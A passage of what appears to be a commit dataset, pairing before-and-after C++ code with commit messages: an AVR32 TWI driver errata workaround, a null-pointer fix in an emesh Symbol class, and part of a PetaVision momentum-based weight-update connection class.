\\\n} while (0)\n\nvoid aery::twi_init_master(void)\n{\n\t\/* Software reset. *\/\n\taery::twi->CR.swrst = 1;\n\twhile (aery::twi->CR.swrst);\n\n\t\/* Setup SLK to 100 kHz by default with 50% duty cycle *\/\n\taery::twi_setup_clkwaveform(4, 0x3f, 0x3f);\n\taery::twi_clear_internal_address();\n\n\t\/* Disable slave mode and enable as master *\/\n\taery::twi->CR.svdis = 1;\n\taery::twi->CR.msen = 1;\n}\n\n\/\/ void aery::twi_init_slave(uint16_t sla)\n\/\/ {\n\/\/ \t\/* Software reset. *\/\n\/\/ \taery::twi->CR.swrst = 1;\n\/\/ \twhile (aery::twi->CR.swrst);\n\n\/\/ \t\/* Disable master mode and enable as slave with SLA *\/\n\/\/ \taery::twi->SMR.sadr = sla;\n\/\/ \taery::twi->CR.msdis = 1;\n\/\/ \taery::twi->CR.sven = 1;\n\/\/ }\n\nvoid aery::twi_setup_clkwaveform(uint8_t ckdiv, uint8_t cldiv, uint8_t chdiv)\n{\n\taery::twi->CWGR.ckdiv = ckdiv;\n\taery::twi->CWGR.cldiv = cldiv;\n\taery::twi->CWGR.chdiv = chdiv;\n}\n\nvoid aery::twi_select_slave(uint16_t sla)\n{\n\taery::twi->MMR.dadr = sla;\n}\n\nvoid aery::twi_use_internal_address(uint32_t iadr, uint8_t n)\n{\n\taery::twi->IADR.iadr = iadr;\n\taery::twi->MMR.iadrsz = n;\n}\n\nvoid aery::twi_clear_internal_address(void)\n{\n\taery::twi_use_internal_address(0, 0);\n}\n\nsize_t aery::twi_read_nbytes(uint8_t *data, size_t n)\n{\n\tusing namespace aery;\n\tsize_t i = 0;\n\n\tif (n == 1)\n\t\treturn twi_read_byte(data);\n\nbegin:\n\t\/* Switch to read mode *\/\n\ttwi->MMR.mread = 1;\n\n\t\/* Start multiple byte read operation *\/\n\ttwi->cr |= AVR32_TWI_CR_START_MASK;\n\n\t\/* Check arbitration *\/\n\tif (((__twi_lsr = twi->sr) & AVR32_TWI_SR_ARBLST_MASK) != 0)\n\t\tgoto begin;\n\n\tfor (; i < n - 1; i++) {\n\t\twhile (twi_isbusy());\n\t\tif ((__twi_lsr & AVR32_TWI_SR_NACK_MASK) != 0)\n\t\t\tgoto error;\n\t\tdata[i] = twi->RHR.rxdata;\n\t}\n\n\t\/* Send STOP *\/\n\ttwi->cr |= AVR32_TWI_CR_STOP_MASK;\n\n\t\/* Read last byte *\/\n\twhile (twi_isbusy());\n\tif ((__twi_lsr & AVR32_TWI_SR_NACK_MASK) == 0)\n\t\tdata[++i] = twi->RHR.rxdata;\n\n\tTWI_WAIT_TO_COMPLETE();\n\treturn i;\n\nerror:\n\ttwi->cr |= AVR32_TWI_CR_STOP_MASK;\n\tTWI_WAIT_TO_COMPLETE();\n\treturn i;\n}\n\nsize_t aery::twi_read_nbytes(uint8_t *data, size_t n, uint8_t iadr,\n\t\tuint8_t iadrlen)\n{\n\taery::twi_use_internal_address(iadr, iadrlen);\n\treturn aery::twi_read_nbytes(data, n);\n}\n\nsize_t aery::twi_read_byte(uint8_t *data)\n{\n\tsize_t i = 0;\n\n\t\/* Switch to read mode *\/\n\taery::twi->MMR.mread = 1;\n\n\t\/* Start one byte read operation *\/\n\taery::twi->cr |= AVR32_TWI_CR_START_MASK | AVR32_TWI_CR_STOP_MASK;\n\n\twhile (aery::twi_isbusy());\n\tif ((aery::__twi_lsr & AVR32_TWI_SR_NACK_MASK) == 0)\n\t\tdata[i++] = aery::twi->RHR.rxdata;\n\n\tTWI_WAIT_TO_COMPLETE();\n\treturn i;\n}\n\nsize_t aery::twi_read_byte(uint8_t *data, uint8_t iadr, uint8_t iadrlen)\n{\n\taery::twi_use_internal_address(iadr, iadrlen);\n\treturn aery::twi_read_byte(data);\n}\n\nsize_t aery::twi_write_nbytes(uint8_t *data, size_t n)\n{\n\tsize_t i = 0;\n\n\t\/* Switch to write mode *\/\n\taery::twi->MMR.mread = 0;\n\t\n\tfor (; i < n; i++) {\n\t\taery::twi->THR.txdata = *data;\n\t\twhile (aery::twi_isbusy());\n\t\tif ((aery::__twi_lsr & AVR32_TWI_SR_NACK_MASK) != 0)\n\t\t\tbreak;\n\t}\n\t\n\tTWI_WAIT_TO_COMPLETE();\n\treturn i;\n}\n\nsize_t aery::twi_write_nbytes(uint8_t *data, size_t n, uint8_t iadr,\n\t\tuint8_t iadrlen)\n{\n\taery::twi_use_internal_address(iadr, iadrlen);\n\treturn aery::twi_write_nbytes(data, n);\n}\n\nsize_t aery::twi_write_byte(uint8_t data)\n{\n\treturn aery::twi_write_nbytes(&data, 1);\n}\n\nsize_t aery::twi_write_byte(uint8_t data, uint8_t iadr, uint8_t iadrlen)\n{\n\treturn aery::twi_write_nbytes(&data, 1, iadr, iadrlen);\n}\n\nbool aery::twi_isbusy(void)\n{\n\taery::__twi_lsr = aery::twi->sr;\n\tif (aery::twi->MMR.mread == 1)\n\t\treturn (aery::__twi_lsr & AVR32_TWI_SR_RXRDY_MASK) == 0;\n\treturn (aery::__twi_lsr & AVR32_TWI_SR_TXRDY_MASK) == 0;\n}\n\nbool aery::twi_is_enabled()\n{\n\t#define TWI_PINS ((1 << 29) | (1 << 30))\n\tvolatile avr32_gpio_port_t *twi_port = &AVR32_GPIO.port[0];\n\n\t\/* \n\t * TWI is enabled when dedicate TWD and TWCK have been assigned to\n\t * the peripheral lines and defined to be as open-drain. *\/\n\tif ((twi_port->gper & TWI_PINS) != 0)\n\t\treturn false;\n\tif ((twi_port->pmr0 & TWI_PINS) != 0)\n\t\treturn false;\n\tif ((twi_port->pmr1 & TWI_PINS) != 0)\n\t\treturn false;\n\tif ((twi_port->odmer & TWI_PINS) != 0)\n\t\treturn false;\n\treturn true;\n}\n\nbool aery::twi_has_overrun(bool reread)\n{\n\tif (reread)\n\t\taery::__twi_lsr = aery::twi->sr;\n\treturn (aery::__twi_lsr & AVR32_TWI_SR_OVRE_MASK) != 0;\n}<commit_msg>Fix (workaround) to reset TWI RXRDY flag<commit_after>\/*\n *  _____             ___ ___   |\n * |  _  |___ ___ _ _|_  |_  |  |  C\/C++ framework for 32-bit AVRs\n * |     | -_|  _| | |_  |  _|  |  \n * |__|__|___|_| |_  |___|___|  |  https:\/\/github.com\/aery32\n *               |___|          |\n *\n * Copyright (c) 2012, Muiku Oy\n * All rights reserved.\n *\n * LICENSE\n *\n * New BSD License, see the LICENSE.txt bundled with this package. If you did\n * not receive a copy of the license and are unable to obtain it through the\n * world-wide-web, please send an email to contact@muiku.com so we can send\n * you a copy.\n *\/\n\n#include \"aery32\/twi.h\"\n\nnamespace aery {\n\tvolatile avr32_twi_t *twi = &AVR32_TWI;\n\tvolatile uint32_t __twi_lsr = AVR32_TWI.sr;\n}\n\n#define TWI_WAIT_TO_COMPLETE() do { \\\n\twhile ((aery::__twi_lsr & AVR32_TWI_SR_TXCOMP_MASK) == 0) \\\n\t\taery::__twi_lsr = aery::twi->sr; \\\n} while (0)\n\nvoid aery::twi_init_master(void)\n{\n\t\/* Software reset. *\/\n\taery::twi->CR.swrst = 1;\n\twhile (aery::twi->CR.swrst);\n\n\t\/* See errata, datahseet p. 794 *\/\n\tvolatile uint32_t rhr = aery::twi->rhr;\n\n\t\/* Setup SLK to 100 kHz by default with 50% duty cycle *\/\n\taery::twi_setup_clkwaveform(4, 0x3f, 0x3f);\n\taery::twi_clear_internal_address();\n\n\t\/* Disable slave mode and enable as master *\/\n\taery::twi->CR.svdis = 1;\n\taery::twi->CR.msen = 1;\n}\n\n\/\/ void aery::twi_init_slave(uint16_t sla)\n\/\/ {\n\/\/ \t\/* Software reset. *\/\n\/\/ \taery::twi->CR.swrst = 1;\n\/\/ \twhile (aery::twi->CR.swrst);\n\n\/\/ \t\/* Disable master mode and enable as slave with SLA *\/\n\/\/ \taery::twi->SMR.sadr = sla;\n\/\/ \taery::twi->CR.msdis = 1;\n\/\/ \taery::twi->CR.sven = 1;\n\/\/ }\n\nvoid aery::twi_setup_clkwaveform(uint8_t ckdiv, uint8_t cldiv, uint8_t chdiv)\n{\n\taery::twi->CWGR.ckdiv = ckdiv;\n\taery::twi->CWGR.cldiv = cldiv;\n\taery::twi->CWGR.chdiv = chdiv;\n}\n\nvoid aery::twi_select_slave(uint16_t sla)\n{\n\taery::twi->MMR.dadr = sla;\n}\n\nvoid aery::twi_use_internal_address(uint32_t iadr, uint8_t n)\n{\n\taery::twi->IADR.iadr = iadr;\n\taery::twi->MMR.iadrsz = n;\n}\n\nvoid aery::twi_clear_internal_address(void)\n{\n\taery::twi_use_internal_address(0, 0);\n}\n\nsize_t aery::twi_read_nbytes(uint8_t *data, size_t n)\n{\n\tusing namespace aery;\n\tsize_t i = 0;\n\n\tif (n == 1)\n\t\treturn twi_read_byte(data);\n\nbegin:\n\t\/* Switch to read mode *\/\n\ttwi->MMR.mread = 1;\n\n\t\/* Start multiple byte read operation *\/\n\ttwi->cr |= AVR32_TWI_CR_START_MASK;\n\n\t\/* Check arbitration *\/\n\tif (((__twi_lsr = twi->sr) & AVR32_TWI_SR_ARBLST_MASK) != 0)\n\t\tgoto begin;\n\n\tfor (; i < n - 1; i++) {\n\t\twhile (twi_isbusy());\n\t\tif ((__twi_lsr & AVR32_TWI_SR_NACK_MASK) != 0)\n\t\t\tgoto error;\n\t\tdata[i] = twi->RHR.rxdata;\n\t}\n\n\t\/* Send STOP *\/\n\ttwi->cr |= AVR32_TWI_CR_STOP_MASK;\n\n\t\/* Read last byte *\/\n\twhile (twi_isbusy());\n\tif ((__twi_lsr & AVR32_TWI_SR_NACK_MASK) == 0)\n\t\tdata[++i] = twi->RHR.rxdata;\n\n\tTWI_WAIT_TO_COMPLETE();\n\treturn i;\n\nerror:\n\ttwi->cr |= AVR32_TWI_CR_STOP_MASK;\n\tTWI_WAIT_TO_COMPLETE();\n\treturn i;\n}\n\nsize_t aery::twi_read_nbytes(uint8_t *data, size_t n, uint8_t iadr,\n\t\tuint8_t iadrlen)\n{\n\taery::twi_use_internal_address(iadr, iadrlen);\n\treturn aery::twi_read_nbytes(data, n);\n}\n\nsize_t aery::twi_read_byte(uint8_t *data)\n{\n\tsize_t i = 0;\n\n\t\/* Switch to read mode *\/\n\taery::twi->MMR.mread = 1;\n\n\t\/* Start one byte read operation *\/\n\taery::twi->cr |= AVR32_TWI_CR_START_MASK | AVR32_TWI_CR_STOP_MASK;\n\n\twhile (aery::twi_isbusy());\n\tif ((aery::__twi_lsr & AVR32_TWI_SR_NACK_MASK) == 0)\n\t\tdata[i++] = aery::twi->RHR.rxdata;\n\n\tTWI_WAIT_TO_COMPLETE();\n\treturn i;\n}\n\nsize_t aery::twi_read_byte(uint8_t *data, uint8_t iadr, uint8_t iadrlen)\n{\n\taery::twi_use_internal_address(iadr, iadrlen);\n\treturn aery::twi_read_byte(data);\n}\n\nsize_t aery::twi_write_nbytes(uint8_t *data, size_t n)\n{\n\tsize_t i = 0;\n\n\t\/* Switch to write mode *\/\n\taery::twi->MMR.mread = 0;\n\t\n\tfor (; i < n; i++) {\n\t\taery::twi->THR.txdata = *data;\n\t\twhile (aery::twi_isbusy());\n\t\tif ((aery::__twi_lsr & AVR32_TWI_SR_NACK_MASK) != 0)\n\t\t\tbreak;\n\t}\n\t\n\tTWI_WAIT_TO_COMPLETE();\n\treturn i;\n}\n\nsize_t aery::twi_write_nbytes(uint8_t *data, size_t n, uint8_t iadr,\n\t\tuint8_t iadrlen)\n{\n\taery::twi_use_internal_address(iadr, iadrlen);\n\treturn aery::twi_write_nbytes(data, n);\n}\n\nsize_t aery::twi_write_byte(uint8_t data)\n{\n\treturn aery::twi_write_nbytes(&data, 1);\n}\n\nsize_t aery::twi_write_byte(uint8_t data, uint8_t iadr, uint8_t iadrlen)\n{\n\treturn aery::twi_write_nbytes(&data, 1, iadr, iadrlen);\n}\n\nbool aery::twi_isbusy(void)\n{\n\taery::__twi_lsr = aery::twi->sr;\n\tif (aery::twi->MMR.mread == 1)\n\t\treturn (aery::__twi_lsr & AVR32_TWI_SR_RXRDY_MASK) == 0;\n\treturn (aery::__twi_lsr & AVR32_TWI_SR_TXRDY_MASK) == 0;\n}\n\nbool aery::twi_is_enabled()\n{\n\t#define TWI_PINS ((1 << 29) | (1 << 30))\n\tvolatile avr32_gpio_port_t *twi_port = &AVR32_GPIO.port[0];\n\n\t\/* \n\t * TWI is enabled when dedicate TWD and TWCK have been assigned to\n\t * the peripheral lines and defined to be as open-drain. *\/\n\tif ((twi_port->gper & TWI_PINS) != 0)\n\t\treturn false;\n\tif ((twi_port->pmr0 & TWI_PINS) != 0)\n\t\treturn false;\n\tif ((twi_port->pmr1 & TWI_PINS) != 0)\n\t\treturn false;\n\tif ((twi_port->odmer & TWI_PINS) != 0)\n\t\treturn false;\n\treturn true;\n}\n\nbool aery::twi_has_overrun(bool reread)\n{\n\tif (reread)\n\t\taery::__twi_lsr = aery::twi->sr;\n\treturn (aery::__twi_lsr & AVR32_TWI_SR_OVRE_MASK) != 0;\n}<|endoftext|>"}
{"text":"<commit_before><commit_msg>add generic reference counting class<commit_after><|endoftext|>"}
{"text":"<commit_before>#include \"Symbol.h\"\n#include \"Shape.h\"\n#include \"FileIO.h\"\n#include \"Sprite.h\"\n#include \"ShapeFactory.h\"\n\nnamespace emesh\n{\n\nSymbol::Symbol()\n\t: m_image(NULL)\n\t, m_shape(NULL)\n\t, m_pause(false)\n{\n}\n\nSymbol::Symbol(const Symbol& s)\n\t: d2d::ISymbol(s)\n{\n\ts.m_image->retain();\n\tm_image = s.m_image;\n\n\tm_shape = s.m_shape->clone();\n}\n\nSymbol::Symbol(d2d::Image* image)\n{\n\timage->retain();\n\tm_image = image;\n\n\tm_shape = ShapeFactory::Instance()->CreateShape(*image);\n}\n\nSymbol::~Symbol()\n{\n\tif (m_image)\n\t{\n\t\tm_image->release();\n\t\tm_image = NULL;\n\t}\n\tif (m_shape)\n\t{\n\t\tm_shape->release();\n\t\tm_shape = NULL;\n\t}\n}\n\nSymbol* Symbol::clone() const \n{ \n\treturn new Symbol(*this);\n}\n\nvoid Symbol::reloadTexture() const\n{\n\tm_image->reload();\n}\n\nvoid Symbol::draw(const d2d::Screen& scr,\n\t\t\t\t  const d2d::Matrix& mt,\n\t\t\t\t  const d2d::Colorf& mul, \n\t\t\t\t  const d2d::Colorf& add,\n\t\t\t\t  const d2d::ISprite* sprite) const\n{\n \tif (m_shape) {\n \t\td2d::ShaderNew* shader = d2d::ShaderNew::Instance();\n \t\tshader->sprite();\n\t\tshader->SetSpriteColor(mul, add);\n \n \t\tm_shape->DrawTexture(scr, mt);\n  \t\tif (!m_pause && sprite) \n\t\t{\n\t\t\tconst Sprite* s = static_cast<const Sprite*>(sprite);\n  \t\t\td2d::Vector spd = s->GetSpeed();\n  \t\t\tif (spd.x != 0 || spd.y != 0) {\n  \t\t\t\tm_shape->OffsetUV(spd.x, spd.y);\n  \t\t\t}\n  \t\t}\n \t}\n}\n\n\/\/ d2d::Rect Symbol::getSize(const d2d::ISprite* sprite) const\n\/\/ {\n\/\/ \/\/\treturn m_image->getRegion();\n\/\/ }\n\nvoid Symbol::SetShape(Shape* shape)\n{\n\tif (m_shape) {\n\t\tm_shape->release();\n\t}\n\tshape->retain();\n\tm_shape = shape;\n}\n\nconst wxString& Symbol::GetImagePath() const\n{\n\treturn m_image->filepath();\n}\n\nvoid Symbol::LoadImage(const wxString& filepath)\n{\n\/\/\td2d::BitmapMgr::Instance()->getItem(filepath, &m_bitmap);\n\td2d::ImageMgr::Instance()->getItem(filepath, &m_image);\n}\n\nint Symbol::GetQuadSize() const \n{ \n\treturn m_shape->GetQuadSize(); \n}\n\nvoid Symbol::loadResources()\n{\n\tFileIO::load(m_filepath, this);\n\tInitBounding();\n}\n\nvoid Symbol::InitBounding()\n{\n\tm_region = m_shape->GetRegion();\n}\n\n}<commit_msg>[FIXED] mesh symbol reloadTexture时空指针<commit_after>#include \"Symbol.h\"\n#include \"Shape.h\"\n#include \"FileIO.h\"\n#include \"Sprite.h\"\n#include \"ShapeFactory.h\"\n\nnamespace emesh\n{\n\nSymbol::Symbol()\n\t: m_image(NULL)\n\t, m_shape(NULL)\n\t, m_pause(false)\n{\n}\n\nSymbol::Symbol(const Symbol& s)\n\t: d2d::ISymbol(s)\n{\n\ts.m_image->retain();\n\tm_image = s.m_image;\n\n\tm_shape = s.m_shape->clone();\n}\n\nSymbol::Symbol(d2d::Image* image)\n{\n\timage->retain();\n\tm_image = image;\n\n\tm_shape = ShapeFactory::Instance()->CreateShape(*image);\n}\n\nSymbol::~Symbol()\n{\n\tif (m_image)\n\t{\n\t\tm_image->release();\n\t\tm_image = NULL;\n\t}\n\tif (m_shape)\n\t{\n\t\tm_shape->release();\n\t\tm_shape = NULL;\n\t}\n}\n\nSymbol* Symbol::clone() const \n{ \n\treturn new Symbol(*this);\n}\n\nvoid Symbol::reloadTexture() const\n{\n\tif (m_image) {\n\t\tm_image->reload();\n\t}\n}\n\nvoid Symbol::draw(const d2d::Screen& scr,\n\t\t\t\t  const d2d::Matrix& mt,\n\t\t\t\t  const d2d::Colorf& mul, \n\t\t\t\t  const d2d::Colorf& add,\n\t\t\t\t  const d2d::ISprite* sprite) const\n{\n \tif (m_shape) {\n \t\td2d::ShaderNew* shader = d2d::ShaderNew::Instance();\n \t\tshader->sprite();\n\t\tshader->SetSpriteColor(mul, add);\n \n \t\tm_shape->DrawTexture(scr, mt);\n  \t\tif (!m_pause && sprite) \n\t\t{\n\t\t\tconst Sprite* s = static_cast<const Sprite*>(sprite);\n  \t\t\td2d::Vector spd = s->GetSpeed();\n  \t\t\tif (spd.x != 0 || spd.y != 0) {\n  \t\t\t\tm_shape->OffsetUV(spd.x, spd.y);\n  \t\t\t}\n  \t\t}\n \t}\n}\n\n\/\/ d2d::Rect Symbol::getSize(const d2d::ISprite* sprite) const\n\/\/ {\n\/\/ \/\/\treturn m_image->getRegion();\n\/\/ }\n\nvoid Symbol::SetShape(Shape* shape)\n{\n\tif (m_shape) {\n\t\tm_shape->release();\n\t}\n\tshape->retain();\n\tm_shape = shape;\n}\n\nconst wxString& Symbol::GetImagePath() const\n{\n\treturn m_image->filepath();\n}\n\nvoid Symbol::LoadImage(const wxString& filepath)\n{\n\/\/\td2d::BitmapMgr::Instance()->getItem(filepath, &m_bitmap);\n\td2d::ImageMgr::Instance()->getItem(filepath, &m_image);\n}\n\nint Symbol::GetQuadSize() const \n{ \n\treturn m_shape->GetQuadSize(); \n}\n\nvoid Symbol::loadResources()\n{\n\tFileIO::load(m_filepath, this);\n\tInitBounding();\n}\n\nvoid Symbol::InitBounding()\n{\n\tm_region = m_shape->GetRegion();\n}\n\n}<|endoftext|>"}
{"text":"<commit_before>\/*\n * MomentumConn.cpp\n *\n *  Created on: Feburary 27, 2014\n *      Author: slundquist\n *\/\n\n#include \"MomentumConn.hpp\"\n#include <cstring>\n\nnamespace PV {\n\nMomentumConn::MomentumConn(){\n   initialize_base();\n}\n\nMomentumConn::MomentumConn(const char * name, HyPerCol * hc, InitWeights * weightInitializer, NormalizeBase * weightNormalizer) : HyPerConn()\n{\n   initialize_base();\n   initialize(name, hc, weightInitializer, weightNormalizer);\n}\n\nMomentumConn::~MomentumConn() {\n   if(momentumMethod){\n      free(momentumMethod);\n   }\n}\n\nint MomentumConn::initialize_base() {\n   prev_dwDataStart = NULL;\n   momentumTau = .25;\n   momentumMethod = NULL;\n   momentumDecay = 0;\n   return PV_SUCCESS;\n}\n\nint MomentumConn::allocateDataStructures(){\n   HyPerConn::allocateDataStructures();\n   if (!plasticityFlag) return PV_SUCCESS;\n   int sx = nfp;\n   int sy = sx * nxp;\n   int sp = sy * nyp;\n   int nPatches = getNumDataPatches();\n\n   const int numAxons = numberOfAxonalArborLists();\n\n   \/\/Allocate dw buffer for previous dw\n   prev_dwDataStart = (pvwdata_t **) calloc(numAxons, sizeof(pvwdata_t *));\n   if( prev_dwDataStart == NULL ) {\n      createArborsOutOfMemory();\n      assert(false);\n   }\n   prev_dwDataStart[0] = (pvwdata_t*) calloc(numAxons * nxp * nyp * nfp * nPatches, sizeof(pvwdata_t));\n   assert(prev_dwDataStart[0] != NULL);\n   for (int arborId = 0; arborId < numAxons; arborId++) {\n      prev_dwDataStart[arborId] = (prev_dwDataStart[0] + sp * nPatches * arborId);\n      assert(prev_dwDataStart[arborId] != NULL);\n   } \/\/ loop over arbors\n\n   return PV_SUCCESS;\n}\n\nint MomentumConn::ioParamsFillGroup(enum ParamsIOFlag ioFlag) {\n   int status = HyPerConn::ioParamsFillGroup(ioFlag);\n   ioParam_momentumTau(ioFlag);\n   ioParam_momentumMethod(ioFlag);\n   ioParam_momentumDecay(ioFlag);\n   return status;\n}\n\nvoid MomentumConn::ioParam_momentumTau(enum ParamsIOFlag ioFlag){\n   if(plasticityFlag){\n      parent->ioParamValue(ioFlag, name, \"momentumTau\", &momentumTau, momentumTau);\n   }\n}\n\n\/**\n * @brief momentumMethod: The momentum method to use\n * @details Assuming a = dwMax * pre * post\n * simple: deltaW(t) = a + momentumTau * deltaW(t-1)\n * viscosity: deltaW(t) = momentumTau * (deltaW(t-1) + a) * (1-e^(-deltaT\/momentumTau))\n * alex: deltaW(t) = momentumTau * delta(t-1) - momentumDecay * dwMax * w(t) - a\n *\/\nvoid MomentumConn::ioParam_momentumMethod(enum ParamsIOFlag ioFlag){\n   if(plasticityFlag){\n      parent->ioParamStringRequired(ioFlag, name, \"momentumMethod\", &momentumMethod);\n      if(strcmp(momentumMethod, \"simple\") != 0 &&\n         strcmp(momentumMethod, \"viscosity\") != 0 &&\n         strcmp(momentumMethod, \"alex\")){\n         std::cout << \"MomentumConn \" << name << \": momentumMethod of \" << momentumMethod << \" is not known, options are \\\"simple\\\", \\\"viscosity\\\", and \\\"alex\\\"\\n\";\n         exit(-1);\n      }\n   }\n}\n\nvoid MomentumConn::ioParam_momentumDecay(enum ParamsIOFlag ioFlag){\n   if(plasticityFlag){\n      parent->ioParamValue(ioFlag, name, \"momentumDecay\", &momentumDecay, momentumDecay);\n      if(momentumDecay < 0 || momentumDecay > 1){\n         std::cout << \"MomentumConn \" << name << \": momentumDecay must be between 0 and 1 inclusive\\n\";\n         exit(-1);\n      }\n   }\n}\n\n\n\/\/Copied from HyPerConn, only change is a memcpy from dwweights to prev_dwweights\nint MomentumConn::updateState(double time, double dt){\n   int status = PV_SUCCESS;\n   if( !plasticityFlag ) {\n      return status;\n   }\n   update_timer->start();\n\n   if (!combine_dW_with_W_flag) { clear_dW(); }\n   for(int arborId=0;arborId<numberOfAxonalArborLists();arborId++) {\n      status = calc_dW(arborId);        \/\/ Calculate changes in weights\n      if (status==PV_BREAK) { break; }\n      assert(status == PV_SUCCESS);\n   }\n\n   bool needSynchronizing = keepKernelsSynchronized_flag;\n   needSynchronizing |= sharedWeights && (parent->simulationTime() >= parent->getStopTime()-parent->getDeltaTime());\n   if (needSynchronizing) {\n      for (int arborID = 0; arborID < numberOfAxonalArborLists(); arborID++) {\n         status = reduceKernels(arborID); \/\/ combine partial changes in each column\n         if (status == PV_BREAK) {\n            break;\n         }\n         assert(status == PV_SUCCESS);\n      }\n   }\n\n   \/\/Apply momentum\n   for (int arborID = 0; arborID < numberOfAxonalArborLists(); arborID++) {\n      status = applyMomentum(arborID);\n      if (status == PV_BREAK) {\n         break;\n      }\n      assert(status == PV_SUCCESS);\n   }\n   \n   \/\/Update prev_dwData buffer\n   assert(prev_dwDataStart);\n   \/\/After reduce, copy over to prev_dwData\n   std::memcpy(*prev_dwDataStart, *get_dwDataStart(),\n         sizeof(pvwdata_t) *\n         numberOfAxonalArborLists() * \n         nxp * nyp * nfp *\n         getNumDataPatches());\n\n   for(int arborId=0;arborId<numberOfAxonalArborLists();arborId++){\n      status = updateWeights(arborId);  \/\/ Apply changes in weights\n      if (status==PV_BREAK) { break; }\n      assert(status==PV_SUCCESS);\n   }\n   \/\/ normalizeWeights(); \/\/ normalizeWeights call moved to HyPerCol::advanceTime loop, to allow for normalization of a group of connections\n\n   update_timer->stop();\n   return status;\n}\n\nint MomentumConn::applyMomentum(int arbor_ID){\n   int nExt = preSynapticLayer()->getNumExtended();\n   const PVLayerLoc * loc = preSynapticLayer()->getLayerLoc();\n   if(sharedWeights){\n      int numKernels = getNumDataPatches();\n      \/\/Shared weights done in parallel, parallel in numkernels\n#ifdef PV_USE_OPENMP_THREADS\n#pragma omp parallel for\n#endif\n      for(int kernelIdx = 0; kernelIdx < numKernels; kernelIdx++){\n         pvwdata_t * dwdata_start  = get_dwDataHead(arbor_ID, kernelIdx);\n         pvwdata_t * prev_dw_start = get_prev_dwDataHead(arbor_ID, kernelIdx);\n         pvwdata_t * wdata_start   = get_wData(arbor_ID, kernelIdx);\n         if(!strcmp(momentumMethod, \"simple\")){\n            for(int k = 0; k < nxp*nyp*nfp; k++){\n               dwdata_start[k] += momentumTau * prev_dw_start[k] - momentumDecay*wdata_start[k];\n            }\n         }\n         else if(!strcmp(momentumMethod, \"viscosity\")){\n            for(int k = 0; k < nxp*nyp*nfp; k++){\n               dwdata_start[k] = momentumTau * (prev_dw_start[k] + dwdata_start[k]) * (1 - exp(- parent->getDeltaTime() \/ momentumTau)) - momentumDecay*wdata_start[k];\n            }\n         }\n         else if(!strcmp(momentumMethod, \"alex\")){\n            for(int k = 0; k < nxp*nyp*nfp; k++){\n               dwdata_start[k] = momentumTau * prev_dw_start[k] - (1-momentumDecay) * getDWMax()* wdata_start[k] - dwdata_start[k];\n            }\n         }\n      }\n   }\n   else{\n      std::cout << \"Momentum not implemented for non-shared weights\\n\";\n      exit(-1);\n   }\n   return PV_SUCCESS;\n}\n\n\n\nint MomentumConn::checkpointWrite(const char * cpDir) {\n   HyPerConn::checkpointWrite(cpDir);\n   if (!plasticityFlag) return PV_SUCCESS;\n   char filename[PV_PATH_MAX];\n   int chars_needed = snprintf(filename, PV_PATH_MAX, \"%s\/%s_prev_dW.pvp\", cpDir, name);\n   if(chars_needed >= PV_PATH_MAX) {\n      if ( parent->icCommunicator()->commRank()==0 ) {\n         fprintf(stderr, \"HyPerConn::checkpointFilename error: path \\\"%s\/%s_W.pvp\\\" is too long.\\n\", cpDir, name);\n      }\n      abort();\n   }\n   PVPatch *** patches_arg = sharedWeights ? NULL : get_wPatches();\n   int status = writeWeights(patches_arg, prev_dwDataStart, getNumDataPatches(), filename, parent->simulationTime(), writeCompressedCheckpoints, \/*last*\/true);\n   assert(status==PV_SUCCESS);\n   return PV_SUCCESS;\n}\n\nint MomentumConn::checkpointRead(const char * cpDir, double * timeptr) {\n   HyPerConn::checkpointRead(cpDir, timeptr);\n   if (!plasticityFlag) return PV_SUCCESS;\n   clearWeights(prev_dwDataStart, getNumDataPatches(), nxp, nyp, nfp);\n   char * path = parent->pathInCheckpoint(cpDir, getName(), \"_prev_dW.pvp\");\n   PVPatch *** patches_arg = sharedWeights ? NULL : get_wPatches();\n   double filetime=0.0;\n   int status = PV::readWeights(patches_arg, prev_dwDataStart, numberOfAxonalArborLists(), getNumDataPatches(), nxp, nyp, nfp, path, parent->icCommunicator(), &filetime, pre->getLayerLoc());\n   if (parent->columnId()==0 && timeptr && *timeptr != filetime) {\n      fprintf(stderr, \"Warning: \\\"%s\\\" checkpoint has timestamp %g instead of the expected value %g.\\n\", path, filetime, *timeptr);\n   }\n   free(path);\n   return status;\n}\n\n} \/\/ end namespace PV\n<commit_msg>Fixed a bug with momentumConn and grabbing wrong weight<commit_after>\/*\n * MomentumConn.cpp\n *\n *  Created on: Feburary 27, 2014\n *      Author: slundquist\n *\/\n\n#include \"MomentumConn.hpp\"\n#include <cstring>\n\nnamespace PV {\n\nMomentumConn::MomentumConn(){\n   initialize_base();\n}\n\nMomentumConn::MomentumConn(const char * name, HyPerCol * hc, InitWeights * weightInitializer, NormalizeBase * weightNormalizer) : HyPerConn()\n{\n   initialize_base();\n   initialize(name, hc, weightInitializer, weightNormalizer);\n}\n\nMomentumConn::~MomentumConn() {\n   if(momentumMethod){\n      free(momentumMethod);\n   }\n}\n\nint MomentumConn::initialize_base() {\n   prev_dwDataStart = NULL;\n   momentumTau = .25;\n   momentumMethod = NULL;\n   momentumDecay = 0;\n   return PV_SUCCESS;\n}\n\nint MomentumConn::allocateDataStructures(){\n   HyPerConn::allocateDataStructures();\n   if (!plasticityFlag) return PV_SUCCESS;\n   int sx = nfp;\n   int sy = sx * nxp;\n   int sp = sy * nyp;\n   int nPatches = getNumDataPatches();\n\n   const int numAxons = numberOfAxonalArborLists();\n\n   \/\/Allocate dw buffer for previous dw\n   prev_dwDataStart = (pvwdata_t **) calloc(numAxons, sizeof(pvwdata_t *));\n   if( prev_dwDataStart == NULL ) {\n      createArborsOutOfMemory();\n      assert(false);\n   }\n   prev_dwDataStart[0] = (pvwdata_t*) calloc(numAxons * nxp * nyp * nfp * nPatches, sizeof(pvwdata_t));\n   assert(prev_dwDataStart[0] != NULL);\n   for (int arborId = 0; arborId < numAxons; arborId++) {\n      prev_dwDataStart[arborId] = (prev_dwDataStart[0] + sp * nPatches * arborId);\n      assert(prev_dwDataStart[arborId] != NULL);\n   } \/\/ loop over arbors\n\n   return PV_SUCCESS;\n}\n\nint MomentumConn::ioParamsFillGroup(enum ParamsIOFlag ioFlag) {\n   int status = HyPerConn::ioParamsFillGroup(ioFlag);\n   ioParam_momentumTau(ioFlag);\n   ioParam_momentumMethod(ioFlag);\n   ioParam_momentumDecay(ioFlag);\n   return status;\n}\n\nvoid MomentumConn::ioParam_momentumTau(enum ParamsIOFlag ioFlag){\n   if(plasticityFlag){\n      parent->ioParamValue(ioFlag, name, \"momentumTau\", &momentumTau, momentumTau);\n   }\n}\n\n\/**\n * @brief momentumMethod: The momentum method to use\n * @details Assuming a = 